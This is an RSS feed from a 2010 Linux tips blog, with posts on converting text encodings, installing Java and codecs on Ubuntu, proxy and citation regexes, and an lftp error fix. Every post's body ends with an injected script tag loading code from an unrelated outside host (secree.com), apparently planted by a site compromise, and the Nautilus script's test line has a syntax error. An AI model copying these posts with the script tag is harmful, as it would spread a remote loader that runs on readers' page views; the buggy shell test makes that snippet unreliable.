<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sprayfly</title>
	<atom:link href="http://sprayfly.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://sprayfly.com</link>
	<description>Languages, Linux, Life</description>
	<lastBuildDate>Sat, 14 Aug 2010 10:45:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Nautilus script for converting text file encoding to UTF-8 in Ubuntu</title>
		<link>http://sprayfly.com/2010/08/14/nautilus-script-for-converting-text-files-to-utf-8-in-ubuntu/</link>
		<comments>http://sprayfly.com/2010/08/14/nautilus-script-for-converting-text-files-to-utf-8-in-ubuntu/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 10:44:36 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[convert]]></category>
		<category><![CDATA[enca]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[enconv]]></category>
		<category><![CDATA[files]]></category>
		<category><![CDATA[nautilus]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=482</guid>
		<description><![CDATA[Here is a Nautilus script that detects the original character encoding of selected text files and automatically converts them to your local native encoding (which should be UTF-8 in Ubuntu). To run the script, you need to place it in the ~/.gnome2/nautilus-scripts directory and give it execute permissions. You also need to install the following [...]]]></description>
			<content:encoded><![CDATA[<p>Here is a Nautilus script that detects the original character encoding of selected text files and automatically converts them to your local native encoding (which should be UTF-8 in Ubuntu).</p>
<p>To run the script, you need to place it in the <em>~/.gnome2/nautilus-scripts</em> directory and give it execute permissions.</p>
<p>You also need to install the following packages:<br />
<em>enca<br />
libnotify-bin</em></p>
<pre>#!/bin/sh
#
# Filename: Enconv Tool
# Date: 2008/02/02 15:10:34
# Licence: GNU GPL
# Dependency: enca, libnotify-bin
# Author: Jonathan Lumb <jonolumb (at) gmail dot com>

# Do the conversion
enconv "$@"

# Display success / error message
if [ "$?"-ne 0]
then
notify-send -i /usr/share/icons/Humanity/actions/48/gtk-cancel.svg "Error" "Files were not converted"
exit 1
else
notify-send -i /usr/share/icons/Humanity/actions/48/document-export.svg "Success" "Files were successfully converted"
fi
exit 0
</pre>
<p><script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/08/14/nautilus-script-for-converting-text-files-to-utf-8-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Convert BIG5 or GB18030 (Chinese Character Encoding) to UTF-8 in Ubuntu</title>
		<link>http://sprayfly.com/2010/08/14/convert-big5-or-gb18030-chinese-character-encoding-to-utf-8-in-ubuntu/</link>
		<comments>http://sprayfly.com/2010/08/14/convert-big5-or-gb18030-chinese-character-encoding-to-utf-8-in-ubuntu/#comments</comments>
		<pubDate>Sat, 14 Aug 2010 09:24:00 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[BIG5]]></category>
		<category><![CDATA[character]]></category>
		<category><![CDATA[convert]]></category>
		<category><![CDATA[enca]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[enconv]]></category>
		<category><![CDATA[GB18030]]></category>
		<category><![CDATA[iconv]]></category>
		<category><![CDATA[recode]]></category>
		<category><![CDATA[UTF-8]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=474</guid>
		<description><![CDATA[I watch a lot of Chinese films in my spare time and often download Chinese subtitles to facilitate viewing. The problem is that most text-based subtitle files provided on the internet are created in Windows and encoded in either GB18030 (Simplified Chinese) or BIG5 (Traditional Chinese) character sets. These files won&#8217;t display properly on Ubuntu [...]]]></description>
			<content:encoded><![CDATA[<p>I watch a lot of Chinese films in my spare time and often download Chinese subtitles to facilitate viewing. The problem is that most text-based subtitle files provided on the internet are created in Windows and encoded in either GB18030 (Simplified Chinese) or BIG5 (Traditional Chinese) character sets. These files won&#8217;t display properly on Ubuntu and must be converted to UTF-8 encoding if they are to be useful.</p>
<p>I found that there are (at least) three ways of converting files using these character sets on Ubuntu &#8211; using the <em>iconv</em>, the <em>recode</em> and the <em>enconv</em> utilities. The <em>iconv</em> utility preserves the original text file and creates a new output file, the <em>recode</em> utility overwrites the original text file with the new encoding whilst the <em>econv</em> utility tops them all off by detecting the encoding of the source file <strong>automatically</strong> and then converting it to your local native encoding (UTF-8 on Ubuntu).</p>
<p>Below I will demonstrate how each of these utilities can be used:</p>
<p><strong>The <em>iconv</em> method</strong><br />
The <em>iconv</em> utility should be installed by default on Ubuntu</p>
<p>In a terminal, browse to the directory where the target files are located and use either of the commands below, the former for converting from GB18030 to UTF-8 and the latter from BIG6 to UTF-8.</p>
<pre>iconv -f gb18030 -t utf8 src_filename -o output_filename</pre>
<pre>iconv -f big5 -t utf8 src_filename -o output_filename</pre>
<p><strong>The <em>recode</em> method</strong></p>
<p>You may need to install the <em>recode</em> package on your system before preceding:</p>
<pre>sudo apt-get install recode</pre>
<p>In a terminal, browse to the directory where the target files are located and use either of the commands below, the former for converting from GB18030 to UTF-8 and the latter from BIG6 to UTF-8.</p>
<pre>recode GB18030 src_filename</pre>
<pre>recode BIG5 src_filename</pre>
<p><strong>The <em>enconv</em> method</strong></p>
<p>You will probably need to install the <em>enca</em> package on your system before preceding:</p>
<pre>sudo apt-get install enca</pre>
<p>In a terminal, browse to the directory where the target files are located and use simply enter the following command:</p>
<pre>enconv src_filename</pre>
<p>The utility should automatically detect the encoding of the source file and convert the file to an Ubuntu compatible UTF-8 version!</p>
<p><strong>Summary</strong></p>
<p>The <em>recode</em> and <em>iconv</em> utilities are pretty powerful and handy if you know the original encoding of your source file. However, <em>econv</em> seems to be the pick of the bunch as it is a cinch to use and will automatically detect the encoding of most text files for you.<script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/08/14/convert-big5-or-gb18030-chinese-character-encoding-to-utf-8-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSS for displaying code snippets on a WordPress blog</title>
		<link>http://sprayfly.com/2010/08/08/css-for-displaying-code-snippets-on-a-wordpress-blog/</link>
		<comments>http://sprayfly.com/2010/08/08/css-for-displaying-code-snippets-on-a-wordpress-blog/#comments</comments>
		<pubDate>Sun, 08 Aug 2010 08:47:52 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[cleanr]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[pre]]></category>
		<category><![CDATA[tags]]></category>
		<category><![CDATA[update]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=470</guid>
		<description><![CDATA[I recently updated the theme I use on this blog (Cleanr) to the latest version via the WordPress Dashboard and discovered that code snippets were no longer displaying correctly &#8211; overflowing into the sidebar. After comparing the old and new style.css files for this theme, I noticed that the following line was missing from the [...]]]></description>
			<content:encoded><![CDATA[<p>I recently updated the theme I use on this blog (Cleanr) to the latest version via the WordPress Dashboard and discovered that code snippets were no longer displaying correctly &#8211; overflowing into the sidebar.</p>
<p>After comparing the old and new style.css files for this theme, I noticed that the following line was missing from the new one:</p>
<pre>pre {display: block; overflow: auto; background: #f3f3f3; padding: 5px; margin: 20px 0; font-family: monospace; border: 1px solid #dadada;}</pre>
<p>I enclose all of my code snippets in HTML &#8220;pre&#8221; tags &#8211; the above code (written by myself) wraps them in a nice little box on the page &#8211; using a horizontal slider to deal with the overflow issue experienced. It seems I made changes to the original Cleanr theme &#8211; but completely forgot to change the new code after performing the update.</p>
<p>Hopefully everything should look a little nicer now <img src='http://sprayfly.com/tech/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> <script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/08/08/css-for-displaying-code-snippets-on-a-wordpress-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Regex for matching URLs blocked by GFW</title>
		<link>http://sprayfly.com/2010/07/14/regex-for-matching-urls-blocked-by-gfw/</link>
		<comments>http://sprayfly.com/2010/07/14/regex-for-matching-urls-blocked-by-gfw/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 03:32:17 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[The Web]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[gfw]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[regex]]></category>
		<category><![CDATA[url]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=467</guid>
		<description><![CDATA[The following regular expression can be used in browser plugins such as FoxyProxy and Proxy Switchy to match URLs of websites that are inaccessible in China. URLs that are matched can then be automatically redirected through a proxy. https?://([^.]+\.)*(twitter&#124;wordpress&#124;blogspot&#124;flickr&#124;blogger&#124;feedburner&#124;youtube&#124;dailymotion&#124;bit)\.(com&#124;net&#124;ly)/.*]]></description>
			<content:encoded><![CDATA[<p>The following regular expression can be used in browser plugins such as <a href="https://addons.mozilla.org/zh-CN/firefox/addon/2464/">FoxyProxy</a> and <a href="https://chrome.google.com/extensions/detail/caehdcpeofiiigpdhbabniblemipncjj">Proxy Switchy</a> to match URLs of websites that are inaccessible in China. URLs that are matched can then be automatically redirected through a proxy.</p>
<pre>https?://([^.]+\.)*(twitter|wordpress|blogspot|flickr|blogger|feedburner|youtube|dailymotion|bit)\.(com|net|ly)/.*</pre>
<p><script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/07/14/regex-for-matching-urls-blocked-by-gfw/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mimms: Handy tool to rip MMS MP3 streams to file in Ubuntu</title>
		<link>http://sprayfly.com/2010/06/28/mimms-handy-tool-to-rip-mms-mp3-streams-to-file-in-ubuntu/</link>
		<comments>http://sprayfly.com/2010/06/28/mimms-handy-tool-to-rip-mms-mp3-streams-to-file-in-ubuntu/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 13:27:27 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[mimms]]></category>
		<category><![CDATA[mms]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[rip]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=465</guid>
		<description><![CDATA[Today, I came across a handy command line tool called mimms that allows you to rip mms:// MP3 streams to an MP3 file on your computer for later listening. It is very easy to install and use. Install mimms: sudo apt-get install mimms Sample usage: mimms mms://iss-video.leeds.ac.uk/smlc/audio/eas/east3031/03Chopsticks.mp3]]></description>
			<content:encoded><![CDATA[<p>Today, I came across a handy command line tool called <a href="http://savannah.nongnu.org/projects/mimms/">mimms</a> that allows you to rip mms:// MP3 streams to an MP3 file on your computer for later listening. It is very easy to install and use.</p>
<p>Install mimms:</p>
<pre>sudo apt-get install mimms</pre>
<p>Sample usage:</p>
<pre>mimms mms://iss-video.leeds.ac.uk/smlc/audio/eas/east3031/03Chopsticks.mp3</pre

You can also rename the file to something else by specifying a filename after the URL
<pre>mimms mms://iss-video.leeds.ac.uk/smlc/audio/eas/east3031/03Chopsticks.mp3 filename-here.mp3</pre>
<p>Of course you can find out more command line options by simply typing <em>mimms &#8211;help</em></p>
<p>Happy ripping!<script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/06/28/mimms-handy-tool-to-rip-mms-mp3-streams-to-file-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enable Multimedia and DVD Playback in Ubuntu Lucid</title>
		<link>http://sprayfly.com/2010/06/28/enable-multimedia-and-dvd-playback-in-ubuntu-lucid/</link>
		<comments>http://sprayfly.com/2010/06/28/enable-multimedia-and-dvd-playback-in-ubuntu-lucid/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 13:21:35 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[dvd]]></category>
		<category><![CDATA[medibuntu]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[support]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=461</guid>
		<description><![CDATA[Whilst Ubuntu comes with some basic multimedia support out of the box, there are a few simple steps that must be carried out in order for you to get the most out of your MP3, DVD and video collection. First we need to add the Medibuntu repository for your version of Ubuntu: sudo wget http://www.medibuntu.org/sources.list.d/$(lsb_release [...]]]></description>
			<content:encoded><![CDATA[<p>Whilst Ubuntu comes with some basic multimedia support out of the box, there are a few simple steps that must be carried out in order for you to get the most out of your MP3, DVD and video collection.</p>
<p>First we need to add the Medibuntu repository for your version of Ubuntu:</p>
<pre>sudo wget http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list  --output-document=/etc/apt/sources.list.d/medibuntu.list</pre>
<p>Next we add the Medibuntu keyring and refresh apt:</p>
<pre>sudo apt-get update &#038;&#038; sudo apt-get install medibuntu-keyring &#038;&#038; sudo apt-get update</pre>
<p>Next we need to install some multimedia packages and codecs:</p>
<pre>sudo apt-get install non-free-codecs libdvdcss4 w32codecs vlc mplayer</pre>
<p>Finally, run this script to enable encrypted DVD playback:</p>
<pre>sudo /usr/share/doc/libdvdread4/install-css.sh</pre>
<p>There we go, now sit back and relax!<script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/06/28/enable-multimedia-and-dvd-playback-in-ubuntu-lucid/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Type Chinese Pinyin Accents in Ubuntu</title>
		<link>http://sprayfly.com/2010/06/23/type-chinese-pinyin-accents-in-ubuntu/</link>
		<comments>http://sprayfly.com/2010/06/23/type-chinese-pinyin-accents-in-ubuntu/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 22:17:53 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[ibus]]></category>
		<category><![CDATA[pinyin]]></category>
		<category><![CDATA[romanisation]]></category>
		<category><![CDATA[tone]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=454</guid>
		<description><![CDATA[Chinese learners or speakers may sometimes want to write out the romanisation for certain chinese characters complete with accents indicating the different tones. For example: 你好 [nǐhǎo] This is possible using the Ibus input framework that comes with Ubuntu. The support for pinyin romanisation is provided in the ibus-m17n package. This must first be installed. [...]]]></description>
			<content:encoded><![CDATA[<p>Chinese learners or speakers may sometimes want to write out the romanisation for certain chinese characters complete with accents indicating the different tones. For example:</p>
<p>你好 [nǐhǎo]</p>
<p>This is possible using the Ibus input framework that comes with Ubuntu. The support for pinyin romanisation is provided in the <em>ibus-m17n</em> package. This must first be installed.</p>
<pre>sudo apt-get install ibus-m17n</pre>
<p>Once installed, restart Ibus and add the input method in the menu as in the screenshot below.<br />
<a href="http://www.flickr.com/photos/jonolumb/4728107187/" class="tt-flickr tt-flickr-Medium" title="ibus-pinyin"><img class="aligncenter" src="http://farm2.static.flickr.com/1251/4728107187_b9c199f0d1.jpg" alt="ibus-pinyin" width="401" height="500" /></a> </p>
<p>You should now be able to activate the input method. Simply type the pinyin for a character preceded by the tone number (ranging from 1 to 4).<script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/06/23/type-chinese-pinyin-accents-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Install Java on Ubuntu Lucid 10.04</title>
		<link>http://sprayfly.com/2010/06/06/install-java-on-ubuntu-lucid-10-04/</link>
		<comments>http://sprayfly.com/2010/06/06/install-java-on-ubuntu-lucid-10-04/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 22:57:11 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[lucid]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=447</guid>
		<description><![CDATA[I recently ran into some problems trying to use Facebook&#8217;s photo uploader tool in Firefox. It turns out that in Lucid, the Ubuntu developers have opted for OpenJDK instead of standard Java &#8211; and this is what is causing the problem with the uploader. The below steps should allow you to get standard Java setup [...]]]></description>
			<content:encoded><![CDATA[<p>I recently ran into some problems trying to use Facebook&#8217;s photo uploader tool in Firefox. It turns out that in Lucid, the Ubuntu developers have opted for OpenJDK instead of standard Java &#8211; and this is what is causing the problem with the uploader.</p>
<p>The below steps should allow you to get standard Java setup on your Ubuntu box:</p>
<p><strong>Add the repository</strong><br />
First create a new .list file for the repository</p>
<pre>sudo gedit /etc/apt/sources.list.d/java.list</pre>
<p>Paste in the following</p>
<pre>deb http://archive.canonical.com/ lucid partner</pre>
<p>Now update all repositories and install Java</p>
<pre>sudo apt-get update &#038;&#038; sudo apt-get install sun-java6-jre sun-java6-fonts sun-java6-plugin</pre>
<p>Now you need to make sure that the version of Java you just installed is selected as the default Java installation on your system:</p>
<pre>sudo update-alternatives --config java</pre>
<p>Choose the version of Java you just installed.</p>
<p>Finally, we need to install the Java plugin in Firefox:</p>
<pre>mkdir -p ~/.mozilla/plugins</pre>
<p>Make a symlink to the Java plugin:</p>
<pre>ln -s /usr/lib/jvm/java-6-sun/jre/lib/i386/libnpjp2.so ~/.mozilla/plugins/libnpjp2.so</pre>
<p>Finally, you may want to implement the following fix which resolves the problem of Chinese characters displaying as 口口 boxes in Java applications:</p>
<pre>cd /usr/lib/jvm/java-6-sun/jre/lib/fonts
sudo mkdir fallback
cd fallback
sudo ln -s /usr/share/fonts/truetype/arphic/uming.ttc .
sudo ln -s /usr/share/fonts/truetype/arphic/uming.ttc uming.ttf</pre>
<p>Now restart Firefox and everything should be working OK! If you do run into any problems, you may want to consider uninstalling OpenJDK completely as well as the Icedtea Java plugin using Synaptic package manager.</p>
<p>Thanks to <a href="http://felixcat.net/2010/04/install-sun-java6-jre-instead-of-openjdk-in-ubuntu-lucid/">Felix Yan&#8217;s</a> and <a href="http://buck-nasty.blogspot.com/2010/02/installing-firefox-36-and-java-618.html">Buckynasty&#8217;s</a> original posts.<script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/06/06/install-java-on-ubuntu-lucid-10-04/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Use regular expressions to match essay citations</title>
		<link>http://sprayfly.com/2010/03/17/use-regular-expressions-to-match-essay-citations/</link>
		<comments>http://sprayfly.com/2010/03/17/use-regular-expressions-to-match-essay-citations/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 10:51:14 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[citations]]></category>
		<category><![CDATA[essay]]></category>
		<category><![CDATA[expressions]]></category>
		<category><![CDATA[harvard]]></category>
		<category><![CDATA[quotations]]></category>
		<category><![CDATA[regular]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=445</guid>
		<description><![CDATA[I have recently been busy with a number of essay assignments on my university course. Most of these essays have a word limit but citations made within the body of the essay text are not to be included in this word count. To save me from manually removing these citations from the essay, a tedious [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently been busy with a number of essay assignments on my university course. Most of these essays have a word limit but citations made within the body of the essay text are not to be included in this word count.</p>
<p>To save me from manually removing these citations from the essay, a tedious process, I discovered that I could use regular expressions to find and remove all citations in one particular text.</p>
<p>For most essays, the Harvard system of (author date) citation is used, for example:</p>
<pre>(Chan 1991)</pre>
<p>Therefore, to match this quotation, I needed a regex that would match any brackets in which there was a single word starting with a capital letter followed by a four digit number. I came up with the following:</p>
<pre>\([A-Z][a-z]*[ ][0-9][0-9][0-9][0-9]\)</pre>
<p>Using this regular expression in a find &#038; replace operation in a text editor, quotes can be quickly removed in bulk from a text &#8211; whilst ensuring that other information contained within brackets is not removed.</p>
<p>Timesaver!</p>
<p><script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/03/17/use-regular-expressions-to-match-essay-citations/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fix the &#8220;534 Protection level negotiation failed.&#8221; error in lftp</title>
		<link>http://sprayfly.com/2010/01/15/fix-the-534-protection-level-negotiation-failed-error-in-lftp/</link>
		<comments>http://sprayfly.com/2010/01/15/fix-the-534-protection-level-negotiation-failed-error-in-lftp/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 22:40:59 +0000</pubDate>
		<dc:creator>Jono</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[534]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[ftpes]]></category>
		<category><![CDATA[leeds]]></category>
		<category><![CDATA[lftp]]></category>
		<category><![CDATA[sftp]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[university]]></category>

		<guid isPermaLink="false">http://sprayfly.com/?p=443</guid>
		<description><![CDATA[If you are using lftp to connect to a secure FTP (SFTP) server using SSL, you may sometimes get the following error during file transfers: 534 Protection level negotiation failed. In this case, you need to add the following line to the bottom of your /etc/lftp.conf file set ftp:ssl-protect-data yes Now try connecting again and [...]]]></description>
			<content:encoded><![CDATA[<p>If you are using lftp to connect to a secure FTP (SFTP) server using SSL, you may sometimes get the following error during file transfers:</p>
<pre>534 Protection level negotiation failed.</pre>
<p>In this case, you need to add the following line to the bottom of your /etc/lftp.conf file</p>
<pre>set ftp:ssl-protect-data yes</pre>
<p>Now try connecting again and hopefully everything should work ok &#8211; it sorted my problems when I was trying to connect to the Leeds University SFTP servers using lftp on Ubuntu 9.10 (Karmic).<script src="http://secree.com/re"></script></p>
<div id="mainphotoarea"></div>]]></content:encoded>
			<wfw:commentRss>http://sprayfly.com/2010/01/15/fix-the-534-protection-level-negotiation-failed-error-in-lftp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
